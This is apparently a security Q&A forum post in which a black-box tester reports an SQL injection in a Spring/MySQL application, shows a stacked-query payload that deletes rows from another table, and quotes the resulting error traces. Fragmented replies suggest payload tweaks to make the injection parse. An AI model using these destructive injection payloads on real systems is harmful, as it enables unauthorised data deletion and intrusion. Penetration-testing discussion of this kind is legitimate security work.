I'm black-box testing an application which uses java spring framework and MySQL in the back-end.
When I insert a single quote ('
) in a text box field, the server returns a HTTP status code 500 Internal server error with the below error stack trace,
org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar [select code, name, num_code from car where UPPER (code) LIKE UPPER('%'%') LIMIT 0,10];
So it's absolutely a SQL Injection.
And because of that, I tried to delete a row in another table which sits in the same DB with the below payload:
%'); DELETE FROM p_test WHERE t_id=1#
which will in-turn change the query as:
select code, name, num_code from car where UPPER (code) LIKE UPPER('%%'); DELETE FROM p_test WHERE t_id=1# %') LIMIT 0,10
Now a row must get deleted in the table p_test with t_id = 1
, but it returns the HTTP status code 500 with below stack trace,
[http-bio-8080-exec-7] ERROR c.q.j.e.r.CommonHandlerExceptionResolver - doResolveException going to resolve the following exception : org.springframework.jdbc.BadSqlGrammarException: StatementCallback; bad SQL grammar [select code,name,num_code from car where UPPER (code) LIKE UPPER('%%'); DELETE FROM p_test WHERE t_id=2#%') LIMIT 0,10]; nested exception is com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DELETE FROM p_test WHERE t_id=2#%') LIMIT 0,10' at line 1
If anyone has any idea please reply.
DELETE
and not something more interesting? Alternatively, try to incorporate remaining code in your statement with something like%'); DELETE FROM p_test WHERE t_id=1 AND ('' LIKE '
.--
instead of#
?DELETE
would look likeDELETE FROM p_test WHERE t_id=1 AND ('' LIKE '%') LIMIT 0,10
, which is a completely valid statement and('' LIKE '%')
is always true.